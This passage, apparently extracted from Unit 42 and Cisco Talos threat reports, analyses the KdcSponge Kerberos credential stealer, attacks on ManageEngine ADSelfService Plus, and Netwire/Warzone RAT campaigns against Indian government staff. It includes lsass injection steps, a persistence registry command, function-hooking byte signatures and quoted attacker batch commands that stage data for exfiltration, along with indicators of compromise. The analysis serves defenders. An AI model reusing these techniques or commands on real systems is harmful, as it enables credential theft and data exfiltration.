OpenProcess. +2. Allocating memory in the remote process using VirtualAllocEx. +3. Writing the string user64.dll to the allocated memory using WriteProcessMemory. +4. Calling LoadLibraryA within the lsass.exe process with user64.dll as the argument, using RtlCreateUserThread. +Now that user64.dll is running within the lsass.exe process, it will start by creating the following registry key to establish persistence through +system reboots: +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service : regsvr32 /s user64.dll +8/11 +From there, the sample will check to make sure the system is running a Kerberos service by attempting to obtain a handle to one of the +following modules: +kdcsvc.dll +kdccli.dll +Kdcsvs.dll +KdcSponge tries to locate three undocumented API functions + specifically KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and +KerbFreeKey + using the following three methods: +1. Identifies the version of Kerberos module and uses hardcoded offsets to API functions to hook. +2. Reaches out to Microsoft +s symbol server to find the offset to API functions within Kerberos module and confirms the correct functions by +comparing to hardcoded byte sequences. +3. Searches the Kerberos module for hardcoded byte sequences. +The primary method in which KdcSponge locates the API functions to hook is based on determining the version of the Kerberos module based +on the TimeDateStamp value within the IMAGE_FILE_HEADER section of the portable executable (PE) file. Once the version of the Kerberos +module is determined, KdcSponge has hardcoded offsets that it will use to hook the appropriate functions within that version of the module. +KdcSponge looks for the following TimeDateStamp values: +2012-07-26 00:01:13 +If KdcSponge was unable to determine the version of the Kerberos module and the domain controller is running Windows Server 2016 or +Server 2019 (major version 10), the payload will reach out to Microsoft's symbol server (msdl.microsoft.com) in an attempt to find the location +of several undocumented API functions. The sample will issue an HTTPS GET request to a URL structured as follows, with the GUID portion of +the URL being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section of the PE: +/download/symbols/[library name].pdb/[GUID]/[library name].pdb +The sample will save the results to a file in the following location, again with the GUID for the filename being the GUID value from the RSDS +structure in the IMAGE_DEBUG_TYPE_CODEVIEW section: +ALLUSERPROFILE\Microsoft\Windows\Caches\[GUID].db: +As mentioned above, we believe the reason the code reaches out to the symbol server is to find the locations of three undocumented Kerberosrelated functions: KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey. The sample is primarily looking for these +functions in the following libraries: +kdcsvc.KdcVerifyEncryptedTimeStamp +kdcsvc.KerbHashPasswordEx3 +kdcpw.KerbHashPasswordEx3 +kdcsvc.KerbFreeKey +kdcpw.KerbFreeKey +If these functions are found, the sample searches for specific byte sequences, as seen in Table 1, to confirm the functions are correct and to +validate they have not been modified. +Function +Hex bytes +kdcsvc.KdcVerifyEncryptedTimeStamp +48 89 5c 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8d 6c 24 f0 48 81 ec 10 01 00 00 48 8b 05 a5 +kdcsvc.KerbHashPasswordEx3 +48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 +kdcpw.KerbHashPasswordEx3 +48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 55 41 56 41 57 48 8b ec 48 83 ec 50 48 8b da 48 +kdcpw.KerbFreeKey +48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 c0 8b 49 10 48 8b 7b 18 f3 aa 48 8b 4b 18 ff 15 72 19 +kdcsvc.KerbFreeKey +48 89 5c 24 08 57 48 83 ec 20 48 8b 79 18 48 8b d9 48 85 ff 0f 85 00 c5 01 00 33 c0 48 89 03 48 +Table 1. Undocumented functions and byte sequences used by KdcSponge to confirm the correct functions for Windows major version 10. +If the domain controller is running Windows Server 2008 or Server 2012 (major version 6), KdcSponge does not reach out to the symbol server +and instead will search the entire kdcsvc.dll module for the byte sequences listed in Table 2 to find the API functions. +Function +Hex bytes +kdcsvc.KdcVerifyEncryptedTimeStamp +48 89 5C 24 20 55 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 F9 48 81 EC C0 00 00 00 48 8B +kdcsvc.KerbHashPasswordEx3 +48 89 5C 24 08 48 89 74 24 10 48 89 7C 24 18 55 41 56 41 57 48 8B EC 48 83 EC 40 48 8B F1 +9/11 +kdcsvc.KerbFreeKey +40 53 48 83 EC 20 48 8B D9 48 8B 49 10 48 85 C9 0F 85 B4 B9 01 00 33 C0 48 89 03 48 89 43 +Table 2. Undocumented functions and byte sequences used by KdcSponge to locate the sought after functions. +Once the KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3 and KerbFreeKey functions are found, the sample will attempt to hook these +functions to monitor all calls to them with the intention to steal credentials. When a request to authenticate to the domain controller comes in, +these functions in the Kerberos service (KDC service) are called, and the sample will capture the inbound credentials. The credentials are then +written to disk at the following location: +%ALLUSERPROFILE%\Microsoft\Windows\Caches\system.dat +The stolen credentials are encrypted with a single-byte XOR algorithm using 0x55 as the key and written to the system.dat file one per line in +the following structure: +[] +Attribution +While attribution is still ongoing and we have been unable to validate the actor behind the campaign, we did observe some correlations +between the tactics and tooling used in the cases we analyzed and Threat Group 3390 (TG-3390, Emissary Panda, APT27). +Specifically, as documented by SecureWorks in an article on a previous TG-3390 operation, we can see that TG-3390 similarly used web +exploitation and another popular Chinese webshell called ChinaChopper for their initial footholds before leveraging legitimate stolen +credentials for lateral movement and attacks on a domain controller. While the webshells and exploits differ, once the actors achieved access +into the environment, we noted an overlap in some of their exfiltration tooling. +SecureWorks stated the actors were using WinRar masquerading as a different application to split data into RAR archives within the Recycler +directory. They provided the following snippet from a Batch file deployed to do this work: +@echo off +c:\windows\temp\svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014 +e:\recycler\REDACTED.rar +e:\ProgramData\REDACTED\ +Exit +From our analysis of recent attacks on ManageEngine ADSelfService Plus, we observed the same technique + with the same order and +placement of the parameters passed to a renamed WinRar application. +@echo off +dir %~dp0>>%~dp0\log.txt +%~dp0\vmtools.exe a -k -r -s -m5 -v4096000 -pREDACTED "e:\$RECYCLE.BIN\REDACTED.rar" "E:\Programs\REDACTED\REDACTED" +Once the files had been staged, in both cases they were then made accessible on externally facing web servers. The threat actors would then +download them through direct HTTP GET requests. +Conclusion +In September 2021, Unit 42 observed an attack campaign in which the actors gained initial access to targeted organizations by exploiting a +recently patched vulnerability in Zoho +s ManageEngine product, ADSelfService Plus, tracked in CVE-2021-40539. At least nine entities across +the technology, defense, healthcare, energy and education industries were compromised in this attack campaign. +After exploitation, the threat actor quickly moved laterally through the network and deployed several tools to run commands in order to carry +out their post-exploitation activities. The actor heavily relies on the Godzilla webshell, uploading several variations of the open-source webshell +to the compromised server over the course of the operation. Several other tools have novel characteristics or have not been publicly discussed +as being used in previous attacks, specifically the NGLite backdoor and the KdcSponge stealer. For instance, the NGLite backdoor uses a novel +C2 channel involving the decentralized network known as the NKN, while the KdcSponge stealer hooks undocumented functions to harvest +credentials from inbound Kerberos authentication attempts to the domain controller. +Unit 42 believes that the actor +s primary goal involved gaining persistent access to the network and the gathering and exfiltration of sensitive +documents from the compromised organization. The threat actor gathered sensitive files to a staging directory and created password-protected +multi-volume RAR archives in the Recycler folder. The actor exfiltrated the files by directly downloading the individual RAR archives from +externally facing web servers. +The following coverages across the Palo Alto Networks platform pertain to this incident: +Threat Prevention signature ZOHO corp ManageEngine Improper Authentication Vulnerability was released on Sept. 20 as threat ID +91676. +NGLite backdoor is blocked by Cortex XDR +s local analysis. +All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire. +Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central, or ManageEngine +ServiceDeskPlus Servers across customer networks. +10/11 +If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 486-4842 + (866) 4UNIT42 + for U.S. toll free, (31-20) 299-3130 in EMEA or (65) 6983-8730 in JAPAC. The Unit 42 Incident Response team is available +24/7/365. +Special thanks to Unit 42 Consulting Services and the NSA Cybersecurity Collaboration Center for their partnership, collaboration and insights +offered in support of this research. +Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance +members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber +actors. Learn more about the Cyber Threat Alliance. +Indicators of Compromise +Dropper SHA256 +b2a29d99a1657140f4e254221d8666a736160ce960d06557778318e0d1b7423b +5fcc9f3b514b853e8e9077ed4940538aba7b3044edbba28ca92ed37199292058 +NGLite SHA256 +805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f +3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd +5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 +3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d +Godzilla Webshell SHA256 +a44a5e8e65266611d5845d88b43c9e4a9d84fe074fd18f48b50fb837fa6e429d +ce310ab611895db1767877bd1f635ee3c4350d6e17ea28f8d100313f62b87382 +75574959bbdad4b4ac7b16906cd8f1fd855d2a7df8e63905ab18540e2d6f1600 +5475aec3b9837b514367c89d8362a9d524bfa02e75b85b401025588839a40bcb +KdcSponge SHA256 +3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 +b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 +Threat Actor IP Addresses +149.248.11[.]205 +199.188.59[.]192 +Registry Keys +Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe +Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service +Additional Resources +Get updates from Palo Alto Networks! +Sign up to receive the latest news, cyber threat intelligence and research from us +By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. +11/11 +Operation +Armor Piercer: + Targeted attacks in the Indian +subcontinent using commercial RATs +blog.talosintelligence.com/2021/09/operation-armor-piercer.html +By Asheer Malhotra, Vanja Svajcer and Justin Thattil. +Cisco Talos is tracking a campaign targeting government personnel in India using themes and tactics +similar to APT36 (aka Mythic Leopard and Transparent Tribe). +This campaign distributes malicious documents and archives to deliver the Netwire and Warzone +(AveMaria) RATs. +The lures used in this campaign are predominantly themed around operational documents and guides +such as those pertaining to the "Kavach" (hindi for "armor") two-factor authentication (2FA) application +operated by India's National Informatics Centre (NIC). +This campaign utilizes compromised websites and fake domains to host malicious payloads, another +tactic similar to Transparent Tribe. +What's new? +Cisco Talos recently discovered a malicious campaign targeting government employees and military +personnel in the Indian sub-continent with two commercial and commodity RAT families known as +NetwireRAT (aka NetwireRC) and WarzoneRAT (aka Ave Maria). The attackers delivered a variety of lures to +their targets, predominantly posing as guides related to Indian governmental infrastructure and operations +1/32 +such as Kavach and I.T.-related guides in the form of malicious Microsoft Office documents (maldocs) and +archives (RARs, ZIPs) containing loaders for the RATs. +Apart from artifacts involved in the infection chains, we've also discovered the use of server-side scripts to +carry out operational tasks such as sending out malicious emails and maintaining presence on compromised +sites via web shells. This provides additional insight into the attacker's operational TTPs. +Some of these lures and tactics utilized by the attackers bear a strong resemblance to the Transparent Tribe +and SideCopy APT groups, including the use of compromised websites and fake domains. +How did it work? +This campaign uses a few distinct, yet simple, infection chains. Most infections use a maldoc that downloads +and instruments a loader. The loader is responsible for downloading or decrypting (if embedded) the final +RAT payload and deploying it on the infected endpoint. In some cases, we've observed the use of malicious +archives containing a combination of maldocs, loaders and decoy images. The RAT payloads are relatively +unmodified, with the command and control (C2) IPs and domains being the most pivotal configuration +information. +So what? +This campaign illustrates another instance of a highly motivated threat actor using a set of commercial and +commodity RAT families to infect their victims. These RATs are packed with many features out-of-the-box to +achieve comprehensive control over the infected systems. It is also highly likely that these malware families +establish footholds into the victim's networks to deploy additional plugins and modules. +Infection chains +The earliest instance of this campaign was observed in December 2020 utilizing malicious Microsoft Office +documents (maldocs). These maldocs contain malicious VBA macros that download and execute the next +stage of the infection + the malware loader. +The maldocs' content ranges from security advisories, to meeting schedules, to software installation notes. +These maldocs contain malicious macros that download and execute the next stage payload on the victim's +endpoint. The final payload is usually a RAT that can perform a multitude of malicious operations on the +infected endpoint. +2/32 +The maldocs pose as documents related to either meeting schedules pertinent to the victims, or as technical +guides related to the Government of India's IT infrastructure. It is likely that these files are either delivered as +attachments or links in spear-phishing emails where the verbiage is meant to social engineer the victims into +opening the maldoc attachments or downloading them from an attacker-controlled link. +Some file names used are: +KAVACH-INSTALLATION-VER-1.docm +Security-Updates.docm +Online meeting schedule for OPS.doc +schedule2021.docm +Interestingly, we've observed the use of Kavach-themed maldocs and binaries being used in recent +SideCopy attacks. +Malicious macro in maldoc downloading and executing the next stage payload. +Stage 2 + Loaders +The payload is usually loader binaries aimed at instrumenting the final malware payload. These loaders will +use either of the following techniques to instrument the final malware payloads on the endpoint: +3/32 +Download payload from remote location and activate using process hollowing into itself or a target +process. +Decode embedded payload and activate using process hollowing. +Depending on the variants, the loaders may also perform the following peripheral activities: +Disable AMSI scanning by patching the first six bytes of the "AmsiScanBuffer" API. +Set up persistence via registry for the next stage malware payload dropped to disk using the +HKCU\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run keys. +Downloaders +Throughout March and April 2021, the attackers utilized downloaders to download and execute the RAT +payloads from remote locations. The earliest versions of this loader used RunPE DLLs to inject the malware +payloads into a specified target process via hollowing. +.NET loader utilizing RunPE.dll to inject AveMaria RAT payload into InstallUtil.exe. +In May 2021, the attackers used the next iteration of their C#-based downloader that reaches out to a decoy +URL and only proceeds with execution if the communication process fails. +4/32 +Downloader reaching out to a decoy URL and executing actual functionality in the catch code block. +This downloader then proceeds to patch the "AmsiScanBuffer" API, establishes persistence for the next +stage payload and invokes it at the end. The payload in the next stage consists of legitimate .NET-based +applications trojanized with the ability to decrypt and deploy the NetwireRAT malware. +5/32 +6/32 +AMSI bypass, persistence and invocation by the loader. +Toward the beginning of June 2021, the attackers started experimenting with the use of Pastebin as a +payload-hosting platform. The downloader reached out to a Pastebin URL via cURL to download and inject +the payload into its own running process. +Evolution of the downloaders: +Loaders with embedded payloads +7/32 +The attackers modified open-source projects with code to load trojanized .NET-based binaries as loaders for +the RATs dating as far back as December 2020. One of the droppers we analyzed is based on the +Pangantucan Community High School library management system application. +It is likely that the loader is based on a crypter available to the attackers since we've observed other +crimeware families such as Formbook use similar loaders to infect their targets. +The original application Initialization code for Form1. +The same function in the trojanized version calls a constructor to the added ISectionEntry class. +8/32 +The loader modified the Login form with a call to a function that loads a DLL loader with the assembly name +"SimpleUI." The second-stage loader is extracted from the .NET resource with the name "Draw." +The assembly extracted from the Draw resource is responsible for decoding and loading a Netwire injector +module which is stored as the AuthorizationRule bitmap resource in the original trojanized loader. +AutorizationRule blob parsed as a bitmap image (464,147 bytes long). +The injector is responsible for deploying the netwireRAT binary present in its .NET resources into a target +process, such as vbc.exe. +Stage 3 + Final payloads +The Netwire and AveMaria RAT families are eventually downloaded and executed on the victim machine. In +some cases, we've also discovered the deployment of custom .NET-based file enumerator modules that +generate and exfiltrate file path listings of specific file extensions on the infected systems. +Maldoc infection chain variation +In one instance, the attackers used a different variation of the infection chain that starts with a malicious +document delivered to the victim. The macro in the maldoc downloads and executes a VBScript (VBS) +instead of directly downloading the malware payload. +9/32 +The VBS contains many junk comments interlaced with the actual malicious code. The malicious code will +execute an encoded PowerShell command to download the next payload. +The PowerShell downloads a malicious archive and an unzip utility such as 7-Zip from a remote location. +This utility unzips and runs the malware payload from the archive file. An example of the command used to +unzip the archive is: +7za.exe x -y -aoa -bso0 -bse0 -bb0 -bd +Decoded PowerShell commands to activate the next-stage payload. +Infection chain diagram: +10/32 +The final payload in this infection chain is a loader for AveMariaRAT. +Archive-based infections +In other infection attempts dating as far back as December 2020, the attackers hosted malicious ZIP +archives containing malware payloads on compromised websites. It is likely that the URLs to these archive +files were sent to victims to make them download and open the malware payload on their endpoints. +11/32 +Three distinct archives containing the malicious payloads. +The malicious binaries from the archives found thus far load and instrument NetwireRAT. +Payload Analysis +NetwireRAT +Netwire is a highly versatile RAT consisting of multiple capabilities including: +Stealing credentials from browsers. +Execute arbitrary commands. +Gather system information. +File management operations such as write, read, copy, delete files, etc. +Enumerate, terminate processes. +Keylogging. +12/32 +NetwireRAT keylogger. +Ave Maria/WarzoneRAT +Ave MariaRAT, also known as WarzoneRAT, is a commercial RAT available for purchase to malicious +operators although there are cracked versions of Warzone available online. +13/32 +14/32 +WarzoneRAT capabilities (snip) as advertised by its authors. +Like Netwire, WarzoneRAT is also packed with a variety of functionalities including: +Remote desktop. +Webcam capture. +Credential stealing from browsers and email clients. +File management operations such as write, read, copy, delete files etc. +Execute arbitrary commands. +Keylogging. +Reverse shells. +Enumerate, terminate processes. +15/32 +16/32 +Reverse shell functionality in WarzoneRAT. +File enumerators +Apart from the two RATs, we've also observed specialized reconnaissance malware being deployed on the +victim's endpoints instead of a RAT family. The attackers deployed a preliminary recon tool to enumerate +specific folders looking for certain file extensions. The file listings/paths found are uploaded to an attackercontrolled C2 server. +The locations targeted were: +C:\Users\\Downloads\ +C:\Users\\Desktop\ +C:\Users\\Documents\ +C:\Users\\OneDrive\Downloads\ +C:\Users\\OneDrive\Desktop\ +C:\Users\\OneDrive\Documents\ +The file extensions searched for were: +.txt, .doc, .dot, .wbk, .docx, .docm, .dotx, .dotm, .docb, .xls, .xlt, .xlm, .xlsx, .xlsm, .xltx, .xltm, .xlsb, .xla, +.xlam, .xll, .xlw, .ppt, .pot, .pps, .pptx, .pptm, .potx, .potm, .ppam, .ppsx, .ppsm, .sldx, .sldm, .pdf +17/32 +File enumerator malware module looking for specific file extensions. +Analyses and observations +Targeting +An extremely common theme of maldocs and archives discovered in this campaign refers to the Government +of India's Kavach application. This is a two-factor authentication (2FA) application used by government +employees to access their emails. This theme has been used recently by the SideCopy APT's campaigns +targeting Indian government personnel, as well. Some of the malicious artifacts using the Kavach theme in +the current campaign are named: +KAVACH-INSTALLATION-VER-1.docm +KAVACH-INSTALLATION-VER1.5.docm +KAVACH-INSTALLATION-VER-3.docm +kavach-2-instructions.zip +kavach-2-instructions.exe +KAVACH-INSTALLATION-V3.zip +KAVACH-INSTALLATION-V3.exe +Other file names indicating targeting of military and government personnel consist of: +CONFD-PERS-Letter.docm +PERS-CONFD-LETTER.exe +18/32 +Admiral_Visit_Details_CONFD.exe +Pay and Allowance Details.xls +Compromised websites +The attackers have relied on a combination of compromised websites and fake domains to carry out their +operations + a tactic similar to that of the Transparent Tribe APT group. However, what stands out in this +campaign is the focus on compromising quasi-military or government-related websites to host malicious +payloads. This might have been done to appear legitimate to victims and analysts. +For example, the attackers compromised and maintained access to a quasi-defense-related website +dsoipalamvihar[.]co[.]in belonging to the Defence Services Officers' Institute (DSOI) using it to host +netwireRAT-related payloads since January 2021. In another instance, the attackers compromised the +website for the Army Public Schools of India (apsdigicamp[.]com) to host a variety of malicious archives +serving NetwireRAT again. +On the other hand, the attackers used a fake domain govrn[.]xyz in July 2021 to host maldocs for their +infection chains. +19/32 +Malicious scripts and payloads hosted on a compromised website. +20/32 +Infrastructure +The compromised websites were used heavily to host artifacts from maldocs to RATs. However, these +websites hosted a few other malicious artifacts as well. The artifacts scripts were used as: +Emailers. +Web shells. +CSRF PoC generator. +File uploaders. +None of these scripts have been written from scratch or customized heavily by the attackers. This practise is +in sync with their RAT deployments + neither the RAT payloads nor the infrastructure scripts have been +modified except their configurations. The actual effort instead is put into social engineering and infecting +victims. +Proliferation through emails +A variety of mailers have been used by the attackers to proliferate the maldocs, archives and download links: +TeamCC ninjaMailer v1.3.3.7 +Leaf PHPMailer 2.7 +Leaf PHPMailer 2.8 +These PHP-based scripts are capable of configuring SMTP options and generating spear-phishing emails +that can be distributed to victims with malicious payloads or links. +21/32 +TeamCC NinjaMailer hosted by the attackers on one of the compromised sites. +Administration +The attackers utilized two types of management scripts to administer the compromised websites. PHP and +Perl-based web shells maintain browser-based access to the sites and perform administrative actions such +as file management, process management and viewing file contents. The web shells used are: +PhpSpy +b374k 2.7 +Older b374k web shell +b374k web shell's login page on the compromised site. +22/32 +Older Perl-based b374k web shell hosted on a compromised site. +The attackers also deployed a file uploader utility (created by "Pakistan Haxors Crew") to upload files to the +sites without having to go through the web shells. +File uploader. +23/32 +Conclusion +This campaign has been ongoing since the end of 2020 and continues to operate today. The attackers +initially deployed Netwire and Warzone RATs on the infected endpoints. The use of these RATs benefits an +adversary twofold + it makes attribution difficult and saves the effort to create bespoke implants. Beginning +in July 2021, however, we observed the deployment of the file enumerators alongside the RATs. This +indicates that the attackers are expanding their malware arsenal to target their victims: military and +government personnel in India. +Infection tactics including government-themed lures, deployment of commodity/commercial RATs and file +enumerators and the use of compromised and attacker-owned domains indicates a strong resemblance to +SideCopy and Transparent Tribe. +Unlike many crimeware and APT attacks, this campaign uses relatively simple, straightforward infection +chains. The attackers have not developed bespoke malware or infrastructure management scripts to carry +out their attacks, but the use of prebaked artifacts doesn't diminish the lethality of these attacks. In fact, +ready-made artifacts such as commodity or cracked RATs and mailers allow the attackers to rapidly +operationalize new campaigns while focusing on their key tactic: tricking victims into infecting themselves. +Coverage +Ways our customers can detect and block this threat are listed below. +24/32 +Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the +malware detailed in this post. Try Secure Endpoint for free here. +Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware +used in these attacks. +Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part +of their campaign. You can try Secure Email for free here. +Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat +Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with +this threat. +25/32 +Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic +automatically and alerts users of potentially unwanted activity on every connected device. +Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all +Cisco Secure products. +Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs +and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. +Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous +sites and tests suspicious sites before users access them. +Additional protections with context to your specific environment and threat data are available from the +Firewall Management Center. +Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your +network. +Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack +available for purchase on Snort.org. +Orbital Queries +Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their +endpoints are infected with this specific threat. For specific OSqueries on this threat, click below: +Warzone/AVEMARIA +Netwire registry +Netwire downloader +File enumerator +IOCs +Hashes +Maldocs +9b7c0465236b7e1ba7358bdca315400f8ffc6079804f33e2ca4b5c467f499d1f +eb40d1aab9a5e59e2d6be76a1c0772f0d22726dd238110168280c34695a8c48f +6b0fde73e638cb7cdb741cff0cc4ec872338c106ffe0c3a6712f08cdb600b83d +26/32 +2b23c976b4aca2b9b61c474e0d6202644d97b48fa553cd6c9266c11b79d3cd13 +41b1c3fa6b8a11fde6769650977d7bc34e0da91a23dd2b70220beec820e17d7a +e6a73ef757c834e155a039619a1fdb1388f2a7ebe80accae8d13deeb3fd66471 +89280f7e1785b1c85432b4cf3a284e44d333b2a1a43a2e52d7ce8680a807be03 +302a973dc432975395c5f69a4c8c75bfffc31350176f52bddb8e4717bdbad952 +5d3220db34868fc98137b7dfb3a6ee47db386f145b534fb4a13ef5e0b5df9268 +62a890cce10f128f180d6e2b848ffff42e32859fe58a023b2bdb35dbe0a1713b +0d64fd162d94601ddd806df804103f3713c4aa43c201fffb9c92783c29d6094c +824bb11ef1520aecca35ad9abd8e043e4e00193668590d4aee2a41f205db7388 +bdb40d5e73e848ada64f334eddd184fb67e2fcdc149248db641bb8d804468f1d +eef5e86ebff5c59204009f4d421b80518ce3edf9c9b1bb45fb2197d9f652a927 +c1eba59ce0ff5d8f57fe0ae0a9af20cb0fa725fc05a58869bb0b85c2d3b815fb +Downloaders +49485a737673365489cb89ef1f5c29545051b33aa1642a8940e15ad281b76dfc +a8c67a11ed522bf597feb8b50a5b63f12a5ac724ae6adcc945475654128f6d64 +f8748c726bda6d67c7130aae8777d7dcb5b0cca8695041b290e9d9cb95a0a633 +3cdedd433c9dde56bfa0a6559a97287c7aec3346178ce2d412a255d8ed347307 +626f00a260880c6bfa0a955fd0c89336a691e438c4bc9206182a05db3774b75a +89db68dcdbae6fca380029c1e5c5158fb5d95db8034f1ee7dbac36cf07057828 +68ddb86dd74285a0b6f12ec8adca9a8ea4569ef1143bec9e8ebe411b2a71720f +c8ffb9d14a28fbc7e7f6d517b22a8bb83097f5bc464c52e027610ab93caec0d6 +RunPE loader DLL +d09cac8cd7c49b908e623220a9b2893822263ae993c867b5bd4fce562d02dcd5 +C# based netwire loaders +5965bba31eb30dedf795012e744fe53495d5b0c1bea52eea32e9924819e843d1 +455ac9cc21fcb20a14caa76abd1280131fecae9d216b1f6961af2f13081c2932 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+cd43bac8f7a0a3df4f654ed698f5828db7a05c771956b924bfd6bd5ba09e2360 +051f67ba58bd2b7751541bf2eb3a09642a00a43052c0d3487a182345828ee076 +aa3d57993bbc7aefdc05e0e99ccdb5e884aa530ae90437157c7ba2308d9c4d3c +8ce30043aba8c9ad33c11c3de152fe142ba7b710384f77d332076957d96e19b2 +5226a12dc7f7b5e28732ad8b5ad6fa9a35eadfbeec122d798cd53c5ef73fe86a +2a7f0af4650edb95eb7a380de6d42db59d8dd220bb4831e30e06450e149eea49 +7c12a820fd7e576f3a179cdccaefbfcd090e0f890fccfab7615bc294795dc244 +977d5b4b945cfce92e40e4d5447626f3ffb7697d98f651b9598edfd58074b9c0 +98337b43e214906b10222722607f76d07a5c0419a9dc3b3af415680c60944809 +2443e8ccdf51e82d310466955a70013155c139564672b2f79db7209207776bd2 +de10443785cf7d22db92fada898a77bc32c7505931b692110d2d5cd63c5b4853 +Warzone/AVEMARIA +b891fad315c540439dba057a0f4895ae8bae6eed982b0bf3fb46801a237c8678 +aa2b8412cf562c334052d5c34a2e5567090e064b570884d6f4d3e28806822487 +999f4892d10eb6cfabe172338c1e7dd3126a2cd435bdb59748178f1d4d2d3b33 +140e0524f4770fc2543b86f1d62aaa6b3018c54e40250040feaa2f24bdbe974d +0df12b0f704dbd5709f86804db5863bd0e6d6668d45a8ff568eefbaa2ebfb9fd +369e794e05e0d7c9bba6dde5009848087a2cd5e8bf77583d391e0e51d21a52cd +480e57131bd186e31ab5ea534381d7b93c8030f8b5757bde9d0b6039efa3e64d +File Enumerators +df780cccc044ee861af1089eb7498a612e6d740a609e500fd3c2a35d2c9c31e0 +a20970aa236aa60d74841e7af53990c5da526f406c83fd1bedb011290517d9b0 +54a65835dc5370b089c38414972c8da589512cf73b159e8187cdda62092dc463 +3634b81f8b91d723733cc44429d221e53b2a7bf121e42bd26078602f4ff48f86 +28/32 +e9edb427d080c0a82e7b1c405171746cb632601b3d66f9d7ad5fa36fd747e4e4 +Malicious archives +2f98235351c6d6bafbb237195f2556abde546578aefd7d94f8087752551afc15 +87fc9901eb7c3b335b82c5050e35458a2154747cd3e61110eed4c107f4ffada9 +b4c0f24a860f14b7a7360708a4aee135bf1a24d730d7794bc55e53a31a0e57a5 +ba710351cfdf6b198d7479a91e786562ddb5e80db5dc9ad42278093a3395fca9 +8e7d5805a104dc79355387dbd130e32d183b645f42f7b35c195041d1cf69f67e +2b7ac9063a530e808ffac5cf9812d850dd5fa4d1f014ba5134ad023fde503d21 +de245cd946e48a4b1c471b17beff056b1a2566770a96785208c698f85fb73db2 +689f3ff0a3331e198ea986864b2b23a62631c930d83b971382b4732474884953 +3794cfe8f3da39924cabd03d74aa95fb5d0c25c73d09cc99ad95c3f4e17252b8 +5a351acfe61a0ad9444b8d23c9915d7beb084abd7b346b9d064e89914552596d +Malicious server side scripts +a8af6228296bc9ac2cd7b7bf503c9755947c844fec038255189a351bcb92bb6d +b54f21a5d20457424440fdf5a57c67924854b47cf85d6a5f26daeaf183e82b69 +8ea420deaa86c778fc6a3b1b22bd0c2ea822089e948ad8f113c9e5b0539e92a7 +c86f6fdb6b360c12de1f75c026dc287aa9de1b8e9b5e5439eeab9e33de3e475e +8cca06ea80a92f31418f2ed0db5e1780cc982ab185f9bf15fa6f396b561aad1f +b9b04fcae747407b9e5ddec26438d9edf046de0745ea4175e4d534a7b575d152 +4ded1042a6cd3113bb42c675257d7d0153a22345da62533bd059d9bdd07c000f +65ed397a4a66f45f332269bec7520b2644442e8581f622d589a16ad7f5efbf82 +c6ea094954a62cf50d3369f6ea1d9e7d539bb7eb6924005c3c1e36832ed3d06e +c9a88d569164db35c8b32c41fda5c3bd4be0758fa0ea300f67fbb37ddc1f3f8d +c75cc5af141dc8ea90d7d44d24ff58a6b3b0c205c8d4395b07de42d285940db1 +8b4a7d6b3de3083a8b71ec64ff647218343f4431bbb93a6ce18cb5f33571a38e +37d0d9997776740ae3134ec6a15141930a9521cd11e2fbb8d0df6d308398f32e +Network IOCs +Maldoc download locations +hxxp://service[.]clickaway[.]com//ccrs_tool/uploads/722CDfdBpfUbRyg.bbc +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/feedback.docm +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/Security-Updates.docm +29/32 +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/r.docm +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/abc/r.docm +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/abc/CONFD-PERS-Letter.docm +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/KAVACH-INSTALLATION-VER1.5.docm +hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/ma/KAVACH-INSTALLATION-VER-1.docm +hxxps://aps[.]govrn[.]xyz/schedule2021.docm +Loader/RAT download locations 